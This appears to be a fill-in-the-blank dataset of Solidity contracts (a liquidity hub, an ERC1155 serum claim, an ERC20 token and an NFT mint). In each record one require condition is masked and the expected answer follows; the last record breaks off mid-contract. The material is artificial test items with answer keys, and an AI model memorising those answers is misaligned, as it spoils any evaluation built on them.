* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address owner_) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface ILiquidityHub {
function processFees(address) external;
}
interface IX7Token is IERC20 {
function setAMM(address, bool) external;
function setOffRampPair(address) external;
function startTrading() external;
}
contract X7LiquidityHub is Ownable, ILiquidityHub {
IUniswapV2Router02 public immutable router;
address public immutable x7m105;
address public immutable devWallet = address(0x7000a09c425ABf5173FF458dF1370C25d1C58105);
bool public launched = false;
bool public X7001PairsCreated = false;
bool public X7002PairsCreated = false;
bool public X7003PairsCreated = false;
bool public X7004PairsCreated = false;
uint256 public devPercent = 20;
uint256 public liquidityPercent = 40;
uint256 public x7m105liquidityPercent = 40;
uint256 public initialTokensPerPair = 20000000 * 10**18;
IERC20 public leastLiquidToken;
uint256 public leastLiquidTokenWETHBalance = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
mapping(address => address) public nativeTokenPairs;
mapping(address => mapping(address => address)) public swapPairs;
constructor(address routerAddress, address x7m105_) Ownable(address(0x7000a09c425ABf5173FF458dF1370C25d1C58105)) {
}
event FeesProcessed(
address indexed liquidationToken,
address indexed liquidityTarget,
uint256 liquidationAmount,
uint256 liquidityETH,
uint256 devFee,
uint256 x7m105LiquidityETH
);
receive() external payable {}
function processFees(address tokenAddress) external {
}
function initiateLaunch() external payable onlyOwner {
}
function createX7001Pairs() external onlyOwner {
}
function createX7002Pairs() external onlyOwner {
}
function createX7003Pairs() external onlyOwner {
}
function createX7004Pairs() external onlyOwner {
require(<FILL_ME>)
X7004PairsCreated = true;
address x7004 = address(0x70041dB5aCDf2F8aa648A000FA4A87067AbAE105);
address x7005 = address(0x7005D9011F4275747D5cb38bC3deB0C46EdbD105);
createTokenPair(x7004, x7005);
}
function createETHPair(address tokenAddress, uint256 ethToAdd) internal {
}
function createTokenPair(address tokenAddress, address otherTokenAddress) internal {
}
function addLiquidityETH(address tokenAddress, uint256 tokenAmount, uint256 ethAmount) internal {
}
function addLiquidity(address tokenAAddress, uint256 tokenAAmount, address tokenBAddress, uint256 tokenBAmount) internal {
}
function swapTokensForEth(address tokenAddress, uint256 tokenAmount) internal {
}
function swapEthForTokens(address tokenAddress, uint256 ethAmount) internal {
}
}
| !X7004PairsCreated | 205,504 | !X7004PairsCreated |
"No claims after burn" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/d5ca39e9a264ddcadd5742484b6d391ae1647a10/contracts/utils/cryptography/MerkleProof.sol";
import "./library/SafeMath.sol";
import "./interfaces/RAYC.sol";
contract Serum is ERC1155, Ownable, IERC1155Receiver {
using Strings for uint256;
using SafeMath for uint256;
string public name = "Z1 Serum";
string public symbol = "Z1";
address public raycAddress;
address public appointee;
bytes32 public merkleRoot =
0x65a05a4c27a2d29465cb0f58076bcb3218d7341d0a420c517a7cfedc82b32b45;
mapping(uint256 => bool) public claimed;
mapping(uint256 => address) private ownerships;
uint256 public claimStart = 1667509200; // 9pm UTC (5pm EST) Nov 3
uint256 public claimEnd = 1668718800; // 9pm UTC (5pm EST) Nov 17
uint256 public totalSupply;
uint256 public burned;
address public zombiesContractAddress;
bool private burnDone;
uint256 private constant maxSupply = 10_000;
uint256 private constant Z1_SERUM = 0;
string public baseUri = "ipfs://Qmc6YpE8myy2R8qUyTnBtzEW78nXRdFzKs2Dytf2iGsgT3/";
function setBaseUri(string calldata _baseUri) public onlyOwner {
}
constructor(address _raycAddress)
ERC1155(string(abi.encodePacked(baseUri, "{id}", ".json")))
{
}
function claim(uint256[] calldata ids) public {
require(<FILL_ME>)
require(tx.origin == msg.sender, "EOAs only");
require(ids.length < 250, "Too many addresses");
require(block.timestamp > claimStart, "Patience!");
require(block.timestamp < claimEnd, "Too late!");
checkApepesOwned();
for (uint256 i = 0; i < ids.length; i++) {
require(
ownerships[ids[i]] == msg.sender,
"Can't claim it if you don't own it"
);
require(claimed[ids[i]] != true, "Already claimed");
claimed[ids[i]] = true;
}
_mint(msg.sender, Z1_SERUM, ids.length, abi.encodePacked(""));
totalSupply += ids.length;
}
function claimForPrevious(
bytes32[] calldata _merkleProof,
address _recipient,
uint256 _amount,
uint256[] calldata _ids
) public {
}
function setAppointee(address _address) public onlyOwner {
}
function burnRemaining() public onlyOwner {
}
function burn(address _address, uint256 _amount) public {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setClaimStart(uint256 _claimStart) public onlyOwner {
}
function setClaimEnd(uint256 _claimEnd) public onlyOwner {
}
function checkApepesOwned() private {
}
function uri(uint256 _id) public view override returns (string memory) {
}
function setZombiesContract(address _address) public onlyOwner {
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
}
}
| !burnDone,"No claims after burn" | 205,506 | !burnDone |
"Can't claim it if you don't own it" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/d5ca39e9a264ddcadd5742484b6d391ae1647a10/contracts/utils/cryptography/MerkleProof.sol";
import "./library/SafeMath.sol";
import "./interfaces/RAYC.sol";
contract Serum is ERC1155, Ownable, IERC1155Receiver {
using Strings for uint256;
using SafeMath for uint256;
string public name = "Z1 Serum";
string public symbol = "Z1";
address public raycAddress;
address public appointee;
bytes32 public merkleRoot =
0x65a05a4c27a2d29465cb0f58076bcb3218d7341d0a420c517a7cfedc82b32b45;
mapping(uint256 => bool) public claimed;
mapping(uint256 => address) private ownerships;
uint256 public claimStart = 1667509200; // 9pm UTC (5pm EST) Nov 3
uint256 public claimEnd = 1668718800; // 9pm UTC (5pm EST) Nov 17
uint256 public totalSupply;
uint256 public burned;
address public zombiesContractAddress;
bool private burnDone;
uint256 private constant maxSupply = 10_000;
uint256 private constant Z1_SERUM = 0;
string public baseUri = "ipfs://Qmc6YpE8myy2R8qUyTnBtzEW78nXRdFzKs2Dytf2iGsgT3/";
function setBaseUri(string calldata _baseUri) public onlyOwner {
}
constructor(address _raycAddress)
ERC1155(string(abi.encodePacked(baseUri, "{id}", ".json")))
{
}
function claim(uint256[] calldata ids) public {
require(!burnDone, "No claims after burn");
require(tx.origin == msg.sender, "EOAs only");
require(ids.length < 250, "Too many addresses");
require(block.timestamp > claimStart, "Patience!");
require(block.timestamp < claimEnd, "Too late!");
checkApepesOwned();
for (uint256 i = 0; i < ids.length; i++) {
require(<FILL_ME>)
require(claimed[ids[i]] != true, "Already claimed");
claimed[ids[i]] = true;
}
_mint(msg.sender, Z1_SERUM, ids.length, abi.encodePacked(""));
totalSupply += ids.length;
}
function claimForPrevious(
bytes32[] calldata _merkleProof,
address _recipient,
uint256 _amount,
uint256[] calldata _ids
) public {
}
function setAppointee(address _address) public onlyOwner {
}
function burnRemaining() public onlyOwner {
}
function burn(address _address, uint256 _amount) public {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setClaimStart(uint256 _claimStart) public onlyOwner {
}
function setClaimEnd(uint256 _claimEnd) public onlyOwner {
}
function checkApepesOwned() private {
}
function uri(uint256 _id) public view override returns (string memory) {
}
function setZombiesContract(address _address) public onlyOwner {
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
}
}
| ownerships[ids[i]]==msg.sender,"Can't claim it if you don't own it" | 205,506 | ownerships[ids[i]]==msg.sender |
"Already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/d5ca39e9a264ddcadd5742484b6d391ae1647a10/contracts/utils/cryptography/MerkleProof.sol";
import "./library/SafeMath.sol";
import "./interfaces/RAYC.sol";
contract Serum is ERC1155, Ownable, IERC1155Receiver {
using Strings for uint256;
using SafeMath for uint256;
string public name = "Z1 Serum";
string public symbol = "Z1";
address public raycAddress;
address public appointee;
bytes32 public merkleRoot =
0x65a05a4c27a2d29465cb0f58076bcb3218d7341d0a420c517a7cfedc82b32b45;
mapping(uint256 => bool) public claimed;
mapping(uint256 => address) private ownerships;
uint256 public claimStart = 1667509200; // 9pm UTC (5pm EST) Nov 3
uint256 public claimEnd = 1668718800; // 9pm UTC (5pm EST) Nov 17
uint256 public totalSupply;
uint256 public burned;
address public zombiesContractAddress;
bool private burnDone;
uint256 private constant maxSupply = 10_000;
uint256 private constant Z1_SERUM = 0;
string public baseUri = "ipfs://Qmc6YpE8myy2R8qUyTnBtzEW78nXRdFzKs2Dytf2iGsgT3/";
function setBaseUri(string calldata _baseUri) public onlyOwner {
}
constructor(address _raycAddress)
ERC1155(string(abi.encodePacked(baseUri, "{id}", ".json")))
{
}
function claim(uint256[] calldata ids) public {
require(!burnDone, "No claims after burn");
require(tx.origin == msg.sender, "EOAs only");
require(ids.length < 250, "Too many addresses");
require(block.timestamp > claimStart, "Patience!");
require(block.timestamp < claimEnd, "Too late!");
checkApepesOwned();
for (uint256 i = 0; i < ids.length; i++) {
require(
ownerships[ids[i]] == msg.sender,
"Can't claim it if you don't own it"
);
require(<FILL_ME>)
claimed[ids[i]] = true;
}
_mint(msg.sender, Z1_SERUM, ids.length, abi.encodePacked(""));
totalSupply += ids.length;
}
function claimForPrevious(
bytes32[] calldata _merkleProof,
address _recipient,
uint256 _amount,
uint256[] calldata _ids
) public {
}
function setAppointee(address _address) public onlyOwner {
}
function burnRemaining() public onlyOwner {
}
function burn(address _address, uint256 _amount) public {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setClaimStart(uint256 _claimStart) public onlyOwner {
}
function setClaimEnd(uint256 _claimEnd) public onlyOwner {
}
function checkApepesOwned() private {
}
function uri(uint256 _id) public view override returns (string memory) {
}
function setZombiesContract(address _address) public onlyOwner {
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
}
}
| claimed[ids[i]]!=true,"Already claimed" | 205,506 | claimed[ids[i]]!=true |
"Already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/d5ca39e9a264ddcadd5742484b6d391ae1647a10/contracts/utils/cryptography/MerkleProof.sol";
import "./library/SafeMath.sol";
import "./interfaces/RAYC.sol";
contract Serum is ERC1155, Ownable, IERC1155Receiver {
using Strings for uint256;
using SafeMath for uint256;
string public name = "Z1 Serum";
string public symbol = "Z1";
address public raycAddress;
address public appointee;
bytes32 public merkleRoot =
0x65a05a4c27a2d29465cb0f58076bcb3218d7341d0a420c517a7cfedc82b32b45;
mapping(uint256 => bool) public claimed;
mapping(uint256 => address) private ownerships;
uint256 public claimStart = 1667509200; // 9pm UTC (5pm EST) Nov 3
uint256 public claimEnd = 1668718800; // 9pm UTC (5pm EST) Nov 17
uint256 public totalSupply;
uint256 public burned;
address public zombiesContractAddress;
bool private burnDone;
uint256 private constant maxSupply = 10_000;
uint256 private constant Z1_SERUM = 0;
string public baseUri = "ipfs://Qmc6YpE8myy2R8qUyTnBtzEW78nXRdFzKs2Dytf2iGsgT3/";
function setBaseUri(string calldata _baseUri) public onlyOwner {
}
constructor(address _raycAddress)
ERC1155(string(abi.encodePacked(baseUri, "{id}", ".json")))
{
}
function claim(uint256[] calldata ids) public {
}
function claimForPrevious(
bytes32[] calldata _merkleProof,
address _recipient,
uint256 _amount,
uint256[] calldata _ids
) public {
require(msg.sender == appointee, "Not allowed");
require(_ids.length == _amount, "Length of ids is wrong");
bytes32 leaf = keccak256(abi.encodePacked(_recipient, _amount, _ids));
require(
MerkleProof.verify(_merkleProof, merkleRoot, leaf),
"Invalid proof."
);
for (uint256 i = 0; i < _ids.length; i++) {
require(<FILL_ME>)
claimed[_ids[i]] = true;
}
_mint(_recipient, Z1_SERUM, _ids.length, abi.encodePacked(""));
totalSupply += _ids.length;
}
function setAppointee(address _address) public onlyOwner {
}
function burnRemaining() public onlyOwner {
}
function burn(address _address, uint256 _amount) public {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setClaimStart(uint256 _claimStart) public onlyOwner {
}
function setClaimEnd(uint256 _claimEnd) public onlyOwner {
}
function checkApepesOwned() private {
}
function uri(uint256 _id) public view override returns (string memory) {
}
function setZombiesContract(address _address) public onlyOwner {
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
}
}
| claimed[_ids[i]]!=true,"Already claimed" | 205,506 | claimed[_ids[i]]!=true |
"This pair is already excluded" | pragma solidity ^0.8.4;
contract Negus is ERC20, Ownable {
using SafeMath for uint256;
mapping(address => bool) private pair;
bool public tradingOpen;
uint256 public _maxWalletSize = 1000000 * 10 ** decimals();
uint256 private _totalSupply = 100000000 * 10 ** decimals();
constructor() ERC20("Negus", "NEGUS") {
}
function addPair(address toPair) public onlyOwner {
require(<FILL_ME>)
pair[toPair] = true;
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function removeLimits() public onlyOwner{
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
}
| !pair[toPair],"This pair is already excluded" | 205,528 | !pair[toPair] |
"Address is not on whitelist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
error GolfTrollPremier_TransferFailed();
contract GolfTrollPremier is ERC721, ReentrancyGuard, Pausable, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
uint256 private _premiumMintPriceEth;
uint256 private _baseMintPriceEth;
uint256 private _whiteListDiscountEth;
uint256 private _ambassadorAllowListDiscountEth;
uint256 private immutable i_premiumMaxSupply;
uint256 private immutable i_baseMaxSupply;
string private baseURI;
bool private isSaleActive = false;
bool private isWhitelistSaleActive = false;
bool private isAmbassadorCodeActive = false;
bool private isAllowListSaleActive = false;
Counters.Counter s_baseTokenCounter;
Counters.Counter s_premiumTokenCounter;
mapping(string => bool) private ambassadorCodeToIsCodeValid;
mapping(string => bool) private ambassadorCodeToIsDiscount;
mapping(address => bool) private addressToIsWhitelist;
mapping(address => bool) private addressToIsAllowList;
//struct code use and array only store when valid code is used Address, code, TrollType, TrollCount
struct ambassadorCodeLog {
address newTrollHome;
string ambassadorCode;
bool isPremier;
uint256 trollCount;
}
ambassadorCodeLog[] private ambassadorCodeLogs;
//"Golf Troll 777", "GT777"
constructor(
string memory tokenName,
string memory tokenSymbol,
string memory customBaseURI,
uint256 premiumMintPriceEth,
uint256 baseMintPriceEth,
uint256 whiteListDiscountEth,
uint256 ambassadorAllowListDiscountEth,
uint256 premiumMaxSupply,
uint256 baseMaxSupply
) ERC721(tokenName, tokenSymbol) {
}
//need only owner version
//0 through 221
function mintPremiumNFT(
uint256 trollsRequested,
address newTrollHome,
string memory ambassadorCode
) public payable nonReentrant whenNotPaused {
require(isSaleActive, "Troll Sales Closed");
if (isWhitelistSaleActive) {
require(<FILL_ME>)
}
if (isAmbassadorCodeActive || isAllowListSaleActive) {
require(
ambassadorCodeToIsCodeValid[ambassadorCode] ||
addressToIsAllowList[newTrollHome],
"Invalid Ambassador Code or Address is not on allow list"
);
}
require(
s_premiumTokenCounter.current().add(trollsRequested) <
i_premiumMaxSupply,
"Exceeds max supply"
);
require(
msg.value >=
getPremiumMintPrice(
trollsRequested,
newTrollHome,
ambassadorCode
),
"Insufficient payment"
);
for (uint256 i = 0; i < trollsRequested; i++) {
_safeMint(newTrollHome, s_premiumTokenCounter.current());
s_premiumTokenCounter.increment();
}
if (ambassadorCodeToIsCodeValid[ambassadorCode]) {
ambassadorCodeLogs.push(
ambassadorCodeLog(
newTrollHome,
ambassadorCode,
true,
trollsRequested
)
);
}
}
function airdropPremiumNFT(uint256 trollsRequested, address newTrollHome)
public
nonReentrant
onlyOwner
whenNotPaused
{
}
//222-776
function mintBaseNFT(
uint256 trollsRequested,
address newTrollHome,
string memory ambassadorCode
) public payable nonReentrant whenNotPaused {
}
function airdropBaseNFT(uint256 trollsRequested, address newTrollHome)
public
nonReentrant
onlyOwner
whenNotPaused
{
}
function setBaseURI(string memory customBaseURI) public onlyOwner {
}
function setTrollPricesEth(
uint256 newPremiumPriceEth,
uint256 newBasePriceEth
) public onlyOwner {
}
function setTrollDiscounts(
uint256 newWhiteListDiscountEth,
uint256 newAmbassadorDiscountEth
) public onlyOwner {
}
function toggleIsSaleActive() public onlyOwner returns (bool) {
}
function toggleIsWhitelistSaleActive() public onlyOwner returns (bool) {
}
function toggleIsAmbassadorCodeSaleActive()
public
onlyOwner
returns (bool)
{
}
function toggleIsAllowListSaleActive() public onlyOwner returns (bool) {
}
function togglePause() public onlyOwner returns (bool) {
}
function withdraw() public onlyOwner {
}
function setWhitelistAddresses(address[] memory newAddresses)
public
onlyOwner
{
}
function removeWhitelistAddresses(address[] memory removeAddresses)
public
onlyOwner
{
}
function setAllowListAddresses(address[] memory newAddresses)
public
onlyOwner
{
}
function removeAllowListAddresses(address[] memory removeAddresses)
public
onlyOwner
{
}
function setAmbassadorGiftCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function removeAmbassadorGiftCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function setAmbassadorDiscountCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function removeAmbassadorDiscountCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function getIsSaleActive() public view returns (bool) {
}
function getIsWhitelistSaleActive() public view returns (bool) {
}
function getIsAmbassadorCodeSaleActive() public view returns (bool) {
}
function getIsAllowListSaleActive() public view returns (bool) {
}
function getTokenCounter() public view returns (uint256) {
}
function getPremiumTokenCounter() public view returns (uint256) {
}
function getBaseTokenCounter() public view returns (uint256) {
}
function getPremiumMintPrice(
uint256 trollsRequested,
address newTrollHome,
string memory promoCode
) public view returns (uint256) {
}
function getBaseMintPrice(
uint256 trollsRequested,
address newTrollHome,
string memory promoCode
) public view returns (uint256) {
}
function isAmbassadorCodeValid(string memory ambassadorCode)
public
view
returns (bool)
{
}
function isAmbassadorCodeDiscount(string memory ambassadorCode)
public
view
returns (bool)
{
}
function isAddressWhiteListed(address toCheck) public view returns (bool) {
}
function isAddressAllowListed(address toCheck) public view returns (bool) {
}
function isAddressTokenOwner(address potentialOwner, uint256 tokenId)
public
view
returns (bool)
{
}
function getMaxSupply() public view returns (uint256) {
}
function getRemainingBaseSupply() public view returns (uint256) {
}
function getRemainingPremiumSupply() public view returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function getAmbassadorCodeLogs()
public
view
onlyOwner
returns (ambassadorCodeLog[] memory)
{
}
}
| addressToIsWhitelist[newTrollHome],"Address is not on whitelist" | 205,555 | addressToIsWhitelist[newTrollHome] |
"Invalid Ambassador Code or Address is not on allow list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
error GolfTrollPremier_TransferFailed();
contract GolfTrollPremier is ERC721, ReentrancyGuard, Pausable, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
uint256 private _premiumMintPriceEth;
uint256 private _baseMintPriceEth;
uint256 private _whiteListDiscountEth;
uint256 private _ambassadorAllowListDiscountEth;
uint256 private immutable i_premiumMaxSupply;
uint256 private immutable i_baseMaxSupply;
string private baseURI;
bool private isSaleActive = false;
bool private isWhitelistSaleActive = false;
bool private isAmbassadorCodeActive = false;
bool private isAllowListSaleActive = false;
Counters.Counter s_baseTokenCounter;
Counters.Counter s_premiumTokenCounter;
mapping(string => bool) private ambassadorCodeToIsCodeValid;
mapping(string => bool) private ambassadorCodeToIsDiscount;
mapping(address => bool) private addressToIsWhitelist;
mapping(address => bool) private addressToIsAllowList;
//struct code use and array only store when valid code is used Address, code, TrollType, TrollCount
struct ambassadorCodeLog {
address newTrollHome;
string ambassadorCode;
bool isPremier;
uint256 trollCount;
}
ambassadorCodeLog[] private ambassadorCodeLogs;
//"Golf Troll 777", "GT777"
constructor(
string memory tokenName,
string memory tokenSymbol,
string memory customBaseURI,
uint256 premiumMintPriceEth,
uint256 baseMintPriceEth,
uint256 whiteListDiscountEth,
uint256 ambassadorAllowListDiscountEth,
uint256 premiumMaxSupply,
uint256 baseMaxSupply
) ERC721(tokenName, tokenSymbol) {
}
//need only owner version
//0 through 221
function mintPremiumNFT(
uint256 trollsRequested,
address newTrollHome,
string memory ambassadorCode
) public payable nonReentrant whenNotPaused {
require(isSaleActive, "Troll Sales Closed");
if (isWhitelistSaleActive) {
require(
addressToIsWhitelist[newTrollHome],
"Address is not on whitelist"
);
}
if (isAmbassadorCodeActive || isAllowListSaleActive) {
require(<FILL_ME>)
}
require(
s_premiumTokenCounter.current().add(trollsRequested) <
i_premiumMaxSupply,
"Exceeds max supply"
);
require(
msg.value >=
getPremiumMintPrice(
trollsRequested,
newTrollHome,
ambassadorCode
),
"Insufficient payment"
);
for (uint256 i = 0; i < trollsRequested; i++) {
_safeMint(newTrollHome, s_premiumTokenCounter.current());
s_premiumTokenCounter.increment();
}
if (ambassadorCodeToIsCodeValid[ambassadorCode]) {
ambassadorCodeLogs.push(
ambassadorCodeLog(
newTrollHome,
ambassadorCode,
true,
trollsRequested
)
);
}
}
function airdropPremiumNFT(uint256 trollsRequested, address newTrollHome)
public
nonReentrant
onlyOwner
whenNotPaused
{
}
//222-776
function mintBaseNFT(
uint256 trollsRequested,
